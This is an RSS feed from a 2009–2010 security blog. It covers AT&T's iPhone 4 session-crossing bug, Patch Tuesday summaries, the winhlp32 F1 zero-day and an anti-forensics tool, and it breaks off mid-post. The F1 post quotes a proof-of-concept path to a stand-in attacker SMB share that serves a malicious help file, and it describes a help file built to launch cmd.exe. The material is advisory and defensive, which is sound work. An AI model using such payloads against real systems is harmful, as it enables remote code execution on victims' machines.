<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; Security</title>
	<atom:link href="http://praetorianprefect.com/archives/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>iPhone 4 Ordering and Session Switching</title>
		<link>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 21:18:19 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[AT&T]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4215</guid>
		<description><![CDATA[Upon logging into AT&#38;T online to place an order for the new iPhone, some users are reporting that another user's information is coming up including billing information, call history, and so forth.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/iPhone-4-150x150.jpg" alt="" title="iPhone-4" width="150" height="150" class="alignleft size-thumbnail wp-image-4221" /></a></p>

<p>Users are reporting issues trying to reserve the ability to purchase (pre-order) the latest iPhone 4 on June 24th, when they go on sale, caused by what is basically a complete overwhelming of the systems designed to take the orders. AT&amp;T&#8217;s web interface at brick and mortar shops is failing to the point where orders are being taken with pen and paper, and the Apple web site is acting clunky. But the most serious issue people are reporting is that upon logging into AT&amp;T online to place the order, another user&#8217;s information is coming up.</p>

<p>AT&amp;T eventually just disabled online access for its users. <a href="http://gizmodo.com/5564262/apple-iphone-4-order-security-breach-exposes-private-information">Gizmodo</a> received these messages from their readership amongst around 8 complaints:</p>

<pre><code>From: Eric Paul Mertens
Date: Tue, Jun 15, 2010 at 11:19 AM
Subject: AT&amp;T iphone pre-order wrong account

This morning while trying to pre-order the iPhone 4 through AT&amp;T website, my login brought me to a ‘website 
unavailable' screen. After a refresh it brought me to the phone upgrade page logged in under a different 
account, 

some dude from Lakewood OH!
</code></pre>

<pre><code>From: Michael
Date: Tue, Jun 15, 2010 at 11:09 AM
Subject: AT&amp;T security breach

Hello,

I am not sure if this e-mail is going to the correct place but this morning when trying to log in to my at&amp;t 
account I entered my information and ended up in someone else's account with access to all their information. 
I feel as though someone could now be logged in to my account. To me, this seems like a huge security 
breach and at&amp;t is shrugging me off as if it is no big deal and I feel that it is. I just thought with the
recent i-pad breach that this one is an even bigger one and I wanted to bring it to your attention.

Thanks,
Michael Staropoli
</code></pre>

<p>And one user was kind enough to provide a screenshot to drive home the point.</p>

<pre><code>From: john king
Date: Tue, Jun 15, 2010 at 2:04 PM
Subject: ATT WEBSITE LOGS ME IN AS ANOTHER CUSTOMER
To: tips@gizmodo.com

I LOGGED IN AS ME AND IT BROUGHT UP A MARY ???? BIG PROBLEM
-JPK
</code></pre>

<div id="attachment_4232" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/att_mary.jpg" alt="" title="att_mary" width="700" height="469" class="size-full wp-image-4232" /></a><p class="wp-caption-text">AT&amp;T user finds that he's a Mary.</p></div>
<br /></p>

<h3>System Upgrade?</h3>

<p>Gizmodo received a report from a 3rd party put forth that an untested (in their opinion) system change is probably responsible for these issues.</p>

<p><i>I work at a 3rd party order processing facility—what AT&amp;T refers to as a 3CC. We process business-to-business, business-to-customer Wireline Indirect, and ACME/PAC (what AT&amp;T calls their iPhone program internally). Agents use AT&amp;T programs called Phoenix, Telegence, Compass, Ordertrack and myCSP to process orders.</p>

<p>Over the weekend there was a major fraud update that went down on all of AT&amp;T&#8217;s systems, from Saturday overnight to Sunday early morning. All systems were down and agents were unable to use any systems.</p>

<p>The issues people are seeing at AT&amp;T stores and online are most likely related to this update that went wrong.</p>

<p>I do know that there was absolutely NO TESTING of this system done before the launch of the new iPhone. I know it&#8217;s just heresay at this point, but I can confirm that there was a major outage over the weekend that impacted all ordering systems and programs, and I can confirm that there were multiple systems being upgraded/updated, with some updates being related to fraud.</p>

<p>At this point, I can say that the system that AT&amp;T uses to send automated orders to be processed is as of this very moment down completely. Our facility is unable to process any orders by phone or by automation.</p>

<p>(Regarding the identity problem) Whenever we see people who are logging in and seeing other customer&#8217;s account info, it is an issue with the databases that contain customer information. Orders that contain any information like this can cross customer information, and cause a customer be able to see other accounts by logging out and logging back in. This means that when they log in a few times, it gives them different customer account info every time. It&#8217;s a rare occurrence, but it has happened in the past.</p>

<p>You might want to advise people to not get the upgrade at this point as it may be a doorway to a major privacy breach.</i></p>

<p>This analysis is thin and speculative at best. It seems to be focused on B2B platforms, whereas the problems are reported in the retail web site. It is possible to have a problem introduced this way, but theoretically it would probably be more wide spread.</p>

<h3>Nah&#8230;</h3>

<p>So if we look at this, without any other information, how do we decide that one user logging in and seeing another user&#8217;s information is probably not the result of a weekend systems&#8217; upgrade? Because we&#8217;ve seen this behavior before, a lot. When you stress test a web site, its not uncommon to see functions that return and read user sessions get garbled, and web sites start to return pages for the wrong user session.</p>

<p><div id="attachment_4236" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_att-store-line-150x150.jpg" alt="" title="500x_att-store-line" width="150" height="150" class="size-thumbnail wp-image-4236" /></a><p class="wp-caption-text">U.S. productivity grinds to a stand still.</p></div>

<p>When you log into a web site a session gets created and some sort of persistence mechanism is returned to maintain the session (usually a session cookie, but there are other less used methods available). Every &#8220;logged in page&#8221; reads this session identifier to determine whether the user is logged in and uses it to return the right information. Further complexity is usually introduced into large web sites, where some sort of load balancing is taking place, and therefore a user&#8217;s session has to be found amongst data centers, servers, and so forth.</p>

<p>As Christian points out below, one example is that session cookies are sometimes made unique based on a time stamp which in many sites will only go down to milliseconds. Thus when a site receives too many concurrent requests, it starts issuing duplicate session cookies.</p>

<p>When you overload the capacity of programs that read, manage, and create sessions, bad stuff happens like sessions getting crossed. Since the AT&amp;T site was probably under a severe and unusually high server load today, the site went haywire (in our technical opinion).</p>

<p>How do you prevent this from happening? Add occasional and event driven stress testing to your quality assurance processes, you will find a number of unusual and difficult to solve problems result. At the very least you will know how your web application acts under unusually high loads, and thus not be surprised when the Apple fanboys come calling for Steve&#8217;s latest masterpiece.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>May&#8217;s Patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/#comments</comments>
		<pubDate>Tue, 11 May 2010 22:46:23 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3915</guid>
		<description><![CDATA[
After a busy April patch month, May&#8217;s patch Tuesday proves to be much quieter with two updates released by Microsoft. Although deemed critical, read the details below to see how your environment may or may not be affected.

Microsoft Updates



ID: MS10-030
Title: Vulnerability in Outlook Express and Windows Mail Could Allow Remote Code Execution 
Microsoft Severity: Critical

Summary: [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="50" height="50" class="alignleft size-full wp-image-3484" /></a>
After a busy April patch month, May&#8217;s patch Tuesday proves to be much quieter with two updates released by Microsoft. Although deemed critical, read the details below to see how your environment may or may not be affected.</p>

<h3>Microsoft Updates</h3>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-030.mspx">MS10-030</a><br />
<strong>Title:</strong> Vulnerability in Outlook Express and Windows Mail Could Allow Remote Code Execution <br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A vulnerability exists in Outlook Express and Window Mail caused by an insufficient validation of network data before using the data to calculate the necessary size of a buffer. An attacker can exploit the vulnerability by tricking a user to initiate a connection to a malicious POP or IMAP server.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> The critical severity is due to the potential for remote code execution, however their are a few key points here to mitigate the severity. First, the mail clients affected are Outlook Express and Windows Mail, Office Outlook is not affected. Second, the client must initiate a connection to a malicious server. In an corporate or enterprise environment, the egress points should restrict outbound POP and IMAP, or the desktop environment should restrict the server settings from being modified.<br /></p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-031.mspx">MS10-031</a><br />
<strong>Title:</strong> Vulnerability in Microsoft Visual Basic for Applications Could Allow Remote Code Execution <br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A vulnerability exists in Visual Basic for applications which can lead to remote code execution. An attacker can create a malicious Office file (Word, Excel) which exploits the VBA vulnerability.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> A user would need to open a malicious file to be expoited, therefore, continued emphasis on user training on handling email attachments and web content is necessary. Prepare this update for your next MS Office patch cycle.<br /></p>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>March&#8217;s Patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2010/03/3473/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/3473/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 20:38:40 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Patch Management]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[excel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[office for mac]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[patch tuesday]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3473</guid>
		<description><![CDATA[<a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="150" height="150" class="alignleft size-full wp-image-3484" /></a>

Today is patch Tuesday for March 2010, and Microsoft has released two security bulletins for this round of updates, neither of which are deemed critical. The second bulletin addresses seven different vulnerabilities across various versions of Microsoft Office Excel.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="150" height="150" class="alignleft size-full wp-image-3484" /></a></p>

<p>Today is patch Tuesday for March 2010, and Microsoft has released two security bulletins for this round of updates, neither of which are deemed critical. The second bulletin addresses seven different vulnerabilities across various versions of Microsoft Office Excel.</p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/bulletin/ms10-016.mspx">MS10-016</a><br />
<strong>Title:</strong> Vulnerabilities in in Windows Movie Maker Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> There is a buffer overflow in the Windows Movie Maker and MS Producer 2003 which can lead to code execution. Movie Maker 2.1 is included with Windows XP SP2 and SP3, and Movie Maker 6.0 is included with Vista. Movie Maker 2.6 is an optional download for Vista and Windows 7.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> This is deemed important instead of critical due to the user having to run content which exploits the vulnerability. A user would have to be tricked into opening a Movie Maker project file (mswmm) to be exploited. This can be updated in your next patch cycle, and is not considered urgent. <br /></p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-017.mspx">MS10-017</a><br />
<strong>Title:</strong> Vulnerability in Microsoft Office Excel Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> This update addresses seven different vulnerabilities related to Microsoft Office Excel. Each vulnerability may affect one or more of the following versions: Office Excel 2003 SP3, Office Excel 2003 SP3, Office Excel 2007 SP1 and SP2, Office 2004 for Mac, Office 2008 for Mac, Open XML File Format Converter for Mac, Office Excel Viewer SP1 and SP2, Office Compatibility Pack for Word, Excel, and Powerpoint 2007 File Formats SP1 and SP2, and Office SharePoint Server 2007 SP1 and SP2.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Although the same requirement exists as MS10-016 for users to open malicious files, Excel formats are more recognizable and phishing and social engineering techniques can be more successful with a known or common file format. This can be updated in your next patch cycle, but should warrant more attention than MS10-017.<br /></p>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/02/februarys-patch-tuesday/">February&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/disable-acrobat-reader-pdf-in-the-enterprise/">Using Group Policy to Disable JavaScript in Adobe PDF Files</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/3473/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Press F1 for Help, pwned.</title>
		<link>http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 17:39:54 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Security Policy]]></category>
		<category><![CDATA[Stay Safe Online]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[help system]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[winhlp32]]></category>
		<category><![CDATA[zero-day]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3444</guid>
		<description><![CDATA[

Microsoft published security advisory 981169 yesterday in response to the zero day vulnerability reported a few days prior. The vulnerability is in the help system and can be triggered by luring an Internet Explorer user into pressing the F1 key. Windows 2000, Windows XP SP2 &#38; SP3, and Windows 2003 SP2 with Internet Explorer 7 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/Vista_Help_thumb_7AEAB696.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/Vista_Help_thumb_7AEAB696-150x150.png" alt="Vista_Help_thumb_7AEAB696" title="Vista_Help_thumb_7AEAB696" width="125" height="125" class="alignleft size-thumbnail wp-image-3449" /></a></p>

<p>Microsoft published security advisory <a href="http://www.microsoft.com/technet/security/advisory/981169.mspx">981169</a> yesterday in response to the zero day vulnerability reported a few days prior. The vulnerability is in the help system and can be triggered by luring an Internet Explorer user into pressing the F1 key. Windows 2000, Windows XP SP2 &amp; SP3, and Windows 2003 SP2 with Internet Explorer 7 and Internet Explorer 8 are all affected.</p>

<p>Credit to Maurycy Prodeus for publishing the <a href="http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt">initial details</a> of the vulnerability.</p>

<h3>Details</h3>

<p>Using the MsgBox VBScript function in an html file, an attacker can create a dialog box prompting the user to hit F1, something that is likely not difficult to do with a message such as &#8220;Internet Explorer encountered an error, press F1 to continue&#8221;. The <a href="http://msdn.microsoft.com/en-us/library/sfw6660x(VS.85).aspx">MsgBox</a> function is important as its fourth argument specifies a helpfile parameter, basically which hlp or chm file to launch when the user asks for help via F1.</p>

<p>I created a simple help file with the word &#8220;Test&#8221; using the Microsoft Help Workshop version 4.03. In addition to this, I added the macro to launch a command prompt (cmd.exe). When I double click this file in Windows XP SP3, I get my test helpfile and the command prompt launches as well:</p>

<div id="attachment_3447" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ScreenHunter_02-Mar.-02-11.51.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ScreenHunter_02-Mar.-02-11.51-300x248.jpg" alt="Cmd.exe launched with my Help file." title="ScreenHunter_02 Mar. 02 11.51" width="300" height="248" class="size-medium wp-image-3447" /></a><p class="wp-caption-text">Cmd.exe launched with my Help file.</p></div>

<p>So we now have a .hlp file which executes code. As mentioned before, the MsgBox function has a parameter to specify a help file to launch when the user hits F1. Here is where I come back to a recurring issue of SMB traffic and allowing it outbound on firewalls. In order for the MsgBox parameter to launch the .hlp file, the attacker must point to a local file (which the user would have had to already download) or host a file on an internet accessible SMB share. If you look at the proof of concept code circulating, currently you will see the MsgBox help parameter is &#8220;&#92;x.x.x.x\attackfile.hlp&#8221;, a pointer to a help file on an SMB share. Corporate enterprises should certainly block SMB outbound, and with this vulnerability and the several previous attacks via SMB client, users should be blocking this outbound traffic as well.</p>

<h3>Vista, Windows 7, &amp; Server 2008</h3>

<p>The vulnerability does not work on Vista, Windows 7 and Windows 2008 due to Microsoft no longer including winhlp32.exe with these versions. However, there is an update which can install winhlp32 for these versions (<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=258aa5ec-e3d9-4228-8844-008e02b32a2c&amp;displaylang=en">Windows 7 Version I installed from here</a>). I found that these updates did not launch the cmd.exe as the Windows XP version did (I also tried Prodeus&#8217;s PoC help file and it displayed but did not run calc.exe). It is possible that Microsoft removed this code execution function from these versions.</p>

<h3>Workarounds</h3>

<p>The warnings are avoid hitting F1 when prompted by websites. Additionally, permissions to winhlp32.exe can be modified so that it doesn&#8217;t execute. In an Active Directory environment, a Group Policy software restriction setting can prohibit winhlp32.exe from launching. As mentioned, I recommend blocking outbound SMB traffic, as there is rarely a justification for mounting a network share on the public internet. This helps with many known vulnerabilities disclosed in the past as well.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/">Turning an ATM into a Slot Machine</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/">Thou Shalt Not Send Naked Pictures&#8230;To Anyone Ever</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>First Patch Tuesday of 2010</title>
		<link>http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 23:08:10 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2947</guid>
		<description><![CDATA[We begin a new year and arrive at the first patch Tuesday of the decade. The news and spread of malware related to Adobe Reader continues to gain momentum and the information security community believes that this year will produce more exploits using Reader. I will include both the Microsoft and Adobe updates in these [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/image_31_3_thumb1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/image_31_3_thumb1.png" alt="image_31_3_thumb.png" title="image_31_3_thumb.png" width="93" height="109" class="alignleft size-full wp-image-2093" /></a>We begin a new year and arrive at the first patch Tuesday of the decade. The news and spread of malware related to Adobe Reader continues to gain momentum and the information security community believes that this year will produce more exploits using Reader. I will include both the Microsoft and Adobe updates in these patch Tuesday posts, along with the severity level I feel they deserve based on the details.</p>

<h3>Severity Levels</h3>

<p>Microsoft has a rating system for bulletins which includes: Critical, Important, Moderate, and Low; Adobe follows this same rating scale. The severity levels I provide differ from Microsoft&#8217;s in that I ascertain real world scenarios. For example, MS will give an important rating when exploitation could result in compromise of availability, as in a denial of service. MS09-069 can result in a denial of service, however, the attacker must already be authenticated. For this reason I drop the severity to Low.</p>

<h3>Microsoft Updates</h3>

<p><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/ScreenHunter_08-Jan.-12-17.59.gif" alt="ScreenHunter_08 Jan. 12 17.59" title="ScreenHunter_08 Jan. 12 17.59" width="45" height="42" class="alignright size-full wp-image-2976" />A quiet patch Tuesday for Microsoft, only one bulletin exists for this month, which is marked critical only for the Windows 2000 operating system whose support is due to expire in July of this year.</p>

<hr />

<p><strong>Bulletin:</strong> <a href="http://www.microsoft.com/technet/security/bulletin/MS10-001.mspx">MS10-001</a> &#8211; Vulnerability in the Embedded OpenType Font Engine Could Allow Remote Code Execution (972270)
<strong>Recommended Action:</strong> Update Windows 2000 SP4.</p>

<p><strong>My Severity Rating:</strong> Critical for Windows 2000, Low for Windows XP, Server 2003, Windows Vista, Server 2008 and Windows 7.</p>

<p><strong>Information:</strong> An issue exists in the way that the Microsoft Windows Embedded OpenType (EOT) Font Engine decompresses specially crafted EOT fonts. An attacker can send a malicious Word or Powerpoint document containing a specially crafted Embedded OpenType (EOT) font which the victim would have to open, allowing the attacker to gain remote code execution.</p>

<hr />

<h4>Note:</h4>

<p>Microsoft announced in a blog post that the <a href="http://praetorianprefect.com/archives/2009/11/how-to-crash-windows-7-and-server-2008/">SMB bug which can crash Windows 7 and Server 2008 R2</a> will not be patched in January&#8217;s patch Tuesday. We have shown how this bug can cause a severe halt to the OS, however, Microsoft stated that they &#8220;are not aware of any active attacks using the exploit code&#8221; and are still working on an update.</p>

<hr />

<h3>Adobe Updates</h3>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/adobelq1.png" alt="adobelq" title="adobelq" width="43" height="72" class="alignright size-full wp-image-2846" /></a>Another busy month for Adobe. We&#8217;ve seen various malware circulating the internet using the vulnerabilities found in the Util.printd, Util.Printf, Collab.getIcon and Collab.collectEmailInfo functions. Today, an update is to be released patching the vulnerability in the Doc.media.newPlayer method in Adobe Reader which was exploited in December.</p>

<hr />

<p><strong>Bulletin:</strong> <a href="http://www.adobe.com/support/security/bulletins/apsb10-02.html">APSB10-02</a> Vulnerability in the Doc.media.newPlayer method in Adobe Reader 9.2 and Acrobat 9.2, and Adobe Reader 8.1.7 and Acrobat 8.1.7</p>

<p><strong>Recommended Action:</strong> PDF&#8217;s currently are a popular vector for spreading malware and trojan downloaders. The recommended action is to update as soon as possible.</p>

<p><strong>My Severity Rating:</strong> Critical.</p>

<p><strong>Information:</strong> The update addresses the following issues:</p>

<ul>
<li><p>An unspecified memory corruption error in the Doc.media.newPlayer method can allow a remote attacker to execute arbitrary code on the system. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324">CVE-2009-4324</a></p></li>
<li><p>An array boundary issue in U3D support that could lead to code execution.</p></li>
<li><p>A DLL-loading vulnerability in 3D that could allow arbitrary code execution.</p></li>
<li><p>A memory corruption vulnerability that could lead to code execution.</p></li>
<li><p>A script injection vulnerability by changing the Enhanced Security default.</p></li>
<li><p>A null-pointer dereference vulnerability that could lead to denial of service.</p></li>
<li><p>A buffer overflow vulnerability in the Download Manager that could lead to code execution.</p></li>
<li><p>An integer overflow vulnerability in U3D support that could lead to code execution.</p></li>
</ul>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Regular or Decaf? Tool launched to combat COFEE</title>
		<link>http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/</link>
		<comments>http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 01:21:34 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[anti-forensics]]></category>
		<category><![CDATA[cofee]]></category>
		<category><![CDATA[decaf]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2250</guid>
		<description><![CDATA[

About a month ago, there was much news about the release of COFEE into the torrent wild. I even gave my two cents about the much hyped forensics toolkit which is provided to law enforcement for the purposes of easily capturing volatile data from personal computers during evidence collection. A tool to counter COFEE, aptly [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_07-Dec.-14-16.32.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/ScreenHunter_07-Dec.-14-16.32.gif" alt="ScreenHunter_07 Dec. 14 16.32" title="ScreenHunter_07 Dec. 14 16.32" width="150"  class="alignleft size-full wp-image-2265" /></a></p>

<p>About a month ago, there was much news about the release of COFEE into the torrent wild. I even gave <a href="http://praetorianprefect.com/archives/2009/11/more-cofee-please-on-second-thought/">my two cents</a> about the much hyped forensics toolkit which is provided to law enforcement for the purposes of easily capturing volatile data from personal computers during evidence collection. A tool to counter COFEE, aptly named DECAF, has been released as an anti-forensics tool to prevent the use of COFEE for data collection.</p>

<p>&#8220;We want to promote a healthy unrestricted free flow of internet traffic and show why law enforcement should not solely rely on Microsoft to automate their intelligent evidence finding,&#8221; one of the two hackers behind Decaf <a href="http://www.theregister.co.uk/2009/12/14/microsoft_cofee_vs_decaf">told The Register</a> in explaining the objective of the project.</p>

<h3>DECAF Details</h3>

<p>DECAF is written in Visual Basic 2005 and consists of a single executable and an XML configuration file called decaf.exe.config which contains the application settings (an XML is also created in the user&#8217;s profile directory for each user&#8217;s specific settings).</p>

<p>When launched, it displays the user license agreement and asks for confirmation. When agreed, it writes the following registry entry:</p>

